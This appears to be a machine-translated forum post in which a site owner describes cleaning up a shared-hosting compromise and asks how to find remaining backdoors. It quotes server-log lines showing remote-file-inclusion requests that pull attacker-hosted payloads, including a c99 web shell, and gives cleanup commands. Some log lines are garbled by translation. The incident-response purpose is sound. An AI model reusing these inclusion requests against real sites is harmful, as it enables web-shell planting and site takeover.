Время от времени моя разделяемая среда хостинга скомпрометирована, потому что мне не удалось закрепить патч моих установленных приложений. На прошлой неделе это было из-за старой и неиспользуемой установки PHP-приложения под названием "Справочный центр Live". В результате каждый отдельный PHP файл на сервере (и у меня есть несколько Wordpress, установка Joomlas, SilverStripe) добавлен код, который вытащил скрытые ссылки с других сайтов и включил их в мою страницу. Другие люди сообщают, что их сайты были запрещены Google после такого рода нападений - к счастью, я, кажется, поймал его достаточно рано. Я заметил это только при переходе на один из сайтов с моего телефона - на странице были ссылки, включенные в браузер для мобильных устройств.
Я нашел много попыток атаки, подобных этому в журнале:
62.149.18.193 - - [06/Feb/2009: 14: 52: 45 +0000] "GET/support/module.php?module= HelpCenter//включить/main.php? Конфиг [Search_disp] = истина & include_dir = http://www.portlandonnuri.com/ 2008_web//technote7/данные/фото/ id2.txt??? HTTP/1.1 "200 26" - "libwww-perl/5.814"
Я немедленно удалил это приложение и написал script, который удалил нарушающий PHP-код из каждого исходного файла. Я также обнаружил, что script создал HTML файлы, содержащие ссылки для других зараженных сайтов. Я тоже удалил их. Теперь я обеспокоен тем, что злоумышленник может оставить что-то еще, что я пропустил, - файл PHP где-нибудь, который даст ему постоянный доступ. Даты файлов были изменены в атаке, и я не мог найти никаких других файлов, которые были изменены в течение рассматриваемого времени. Есть ли что-то очевидное, что я пропустил, чтобы убедиться, что на моем сервере нет бэкдоров?
Изменить: я также ищу текстовые файлы, содержащие код атаки, как показано в приведенном выше фрагменте файла журнала. Я не нашел.
Другое редактирование: Если вам посчастливилось встретить этот пост, потому что вы находите себя в той же ситуации, возможно, это поможет вам. Я использовал это для резервного копирования всех исходных файлов PHP, прежде чем манипулировать ими:
find . -name *.php -exec tar -uvf ~/www/allphp.tar {} \;
и это, чтобы отменить изменения, сделанные злоумышленником:
find . -name *.php -exec sed -i '/<?php \/\*\*\/eval(base64_decode(/d' {} \;
Не ракетостроение, но не тривиальное ни для случайного пользователя Linux/Unix, как я:-).
Другое редактирование: Я не могу проверять каждую строку кода на сервере, но я могу искать подозрительные данные. Я искал все вхождения "eval" и "base64" и не нашел ничего, что не выглядело бы законным. Затем я запустил grep для ".ru" (так как исполнители, похоже, пришли оттуда), и вот, нашел и нашел что-то, называемое оболочкой c99, которое я быстро удалил.
Окончательное редактирование: Я узнал, как была загружена оболочка c99 - через отверстие в фотогалерее Coppermine.
97.74.118.95 - - [03/Feb/2009:00:31:37 +0000] "POST
/pics/picEditor.php?img_dir=http://xakforum.altnet.ru/tmp_upload/files
/c99shell.txt&CURRENT_PIC[filename]=/1.php HTTP/1.1" 404 - "-" "-"
97.74.118.95 - - [03/Feb/2009:00:32:24 +0000] "
GET /pics/albums/1.php HTTP/1.1" 200 25352 "-" "-"
IP-адрес, кстати, является IP-адресом Godaddy.